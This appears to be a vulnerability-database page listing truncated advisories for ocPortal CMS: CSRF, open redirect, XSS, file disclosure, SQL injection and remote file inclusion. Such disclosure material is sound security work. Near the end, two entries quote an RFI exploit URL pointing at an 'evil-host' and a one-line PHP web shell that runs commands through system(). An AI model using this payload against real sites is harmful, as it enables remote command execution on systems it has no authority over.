ocPortal CMS 8.x Cross Site Request Forgery

OVERVIEW ocPoral CMS 8.x and lower versions are vulnerable to Cross-site Request Forgery CSRF / XSRF. 2. PRODUCT DESCRIPTION ocPortal is the website Content Management System a CMS for building and maintaining a dynamic website. ocPortal's powerful feature-set means there's always a way to...

ocPortal 7.1.5 <= | Open URL Redirection Vulnerability

OVERVIEW ocPoral CMS 7.1.5 and lower versions are vulnerable to Open URL Redirection. 2. BACKGROUND ocPortal is the website Content Management System a CMS for building and maintaining a dynamic website. ocPortal's powerful feature-set means there's always a way to accomplish your vision. Not...

ocPortal CMS 7.1.5 Open Redirect

OVERVIEW ocPoral CMS 7.1.5 and lower versions are vulnerable to Open URL Redirection. 2. BACKGROUND ocPortal is the website Content Management System a CMS for building and maintaining a dynamic website. ocPortal's powerful feature-set means there's always a way to accomplish your vision. Not...

ocPortal 7.1.5 - 'redirect' Open Redirection

source: https://www.securityfocus.com/bid/54715/info ocPortal is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input. A successful exploit may aid in phishing attacks; other attacks are possible. Versions prior to ocPortal 7.1.6 are...

ocPortal 7.1.5 - redirect Open Redirection

ocPortal 7.1.5 - redirect Open Redirection source: https://www.securityfocus.com/bid/54715/info ocPortal is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input. A successful exploit may aid in phishing attacks; other attacks are possible...

ocPortal Arbitrary File Disclosure and XSS Vulnerabilities

ocPortal is prone to multiple cross-site scripting vulnerabilities and an arbitrary file-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied data. SPDX-FileCopyrightText: 2012 Greenbone AG Some text descriptions might be excerpted from a referenced source...

ocPortal 7.1.5 - code_editor.php Multiple Cross-Site Scripting Vulnerabilities

ocPortal 7.1.5 - codeeditor.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/52768/info ocPortal is prone to multiple cross-site scripting vulnerabilities and an arbitrary file-disclosure vulnerability because the application fails to sufficiently saniti...

ocPortal 7.1.5 - 'code_editor.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/52768/info ocPortal is prone to multiple cross-site scripting vulnerabilities and an arbitrary file-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute...

Multiple vulnerabilities in ocPortal

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ocPortal, which can be exploited to perform Cross-Site Scripting XSS and Arbitrary File Disclosure attacks. 1 Multiple Cross-Site Scripting XSS in ocPortal: CVE-2012-1470 1.1 Input passed via the "path" and "line...

ocPortal <= 4.2.x (forum) Critical Stack SQLi Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

Path disclousure in ocPortal

Vulnerability ID: HTB22761 Reference: http://www.htbridge.ch/advisory/pathdisclousureinocportal.html Product: ocPortal Vendor: ocProducts Ltd http://ocportal.com Vulnerable Version: 5.0.3 Vendor Notification: 15 December 2010 Vulnerability Type: Path disclosure Status: Not Fixed, Vendor Alerted,...

ocPortal 4.3.2 Cross Site Request Forgery

Vulnerability ID: HTB22369 Reference: http://www.htbridge.ch/advisory/xsrfcsrfinocportal.html Product: ocPortal Vendor: ocProducts Ltd Vulnerable Version: 4.3.2 and Probably Prior Versions Vendor Notification: 05 May 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

XSRF &#40;CSRF&#41; in ocPortal

Vulnerability ID: HTB22369 Reference: http://www.htbridge.ch/advisory/xsrfcsrfinocportal.html Product: ocPortal Vendor: ocProducts Ltd Vulnerable Version: 4.3.2 and Probably Prior Versions Vendor Notification: 05 May 2010 Vulnerability Type: CSRF Cross-Site Request Forgery Status: Not Fixed, Vend...

Cross-site request forgery (CSRF) in ocPortal

High-Tech Bridge SA Security Research Lab has discovered vulnerability in ocPortal which could be exploited to perform CSRF attacks. 1 Cross-site request forgery CSRF ocPortal The vulnerability exists due to insufficient validation of the request origin in /site/index.php. A remote attacker can...

CVE-2004-1592

The CVE-2004-1592 entry concerns ocPortal (index.php) remote file inclusion. Affected software is ocPortal 1.0.3 and earlier; the vulnerability arises from a flaw in the req_path parameter, which can be manipulated to reference a URL on a remote server containing a malicious funcs.php, enabling r...

CVE-2004-1592

PHP remote file inclusion vulnerability in index.php in ocPortal 1.0.3 and earlier allows remote attackers to execute arbitrary PHP code by modifying the reqpath parameter to reference a URL on a remote web server that contains a malicious funcs.php script...

CVE-2004-1592

PHP remote file inclusion vulnerability in index.php in ocPortal 1.0.3 and earlier allows remote attackers to execute arbitrary PHP code by modifying the reqpath parameter to reference a URL on a remote web server that contains a malicious funcs.php script...

ocPortal 1.0.3 Remote File Inclusion

Exploit for unknown platform in category web applications ==================================== ocPortal 1.0.3 Remote File Inclusion ==================================== http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.p...

ocPortal 1.0.3 Remote File Inclusion

No description provided by source. http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. ?php $com = $GET"com"; system "$com"; ? Example of funcs.php if your host support php. ?php echo...

ocPortal index.php req_path Parameter Remote File Inclusion

The remote host is running ocPortal, a content management system written in PHP. There is a bug in the remote version of this software which may allow an attacker to execute arbitrary commands on the remote host by using a file inclusion bug in the file 'index.php'. An attacker may execute...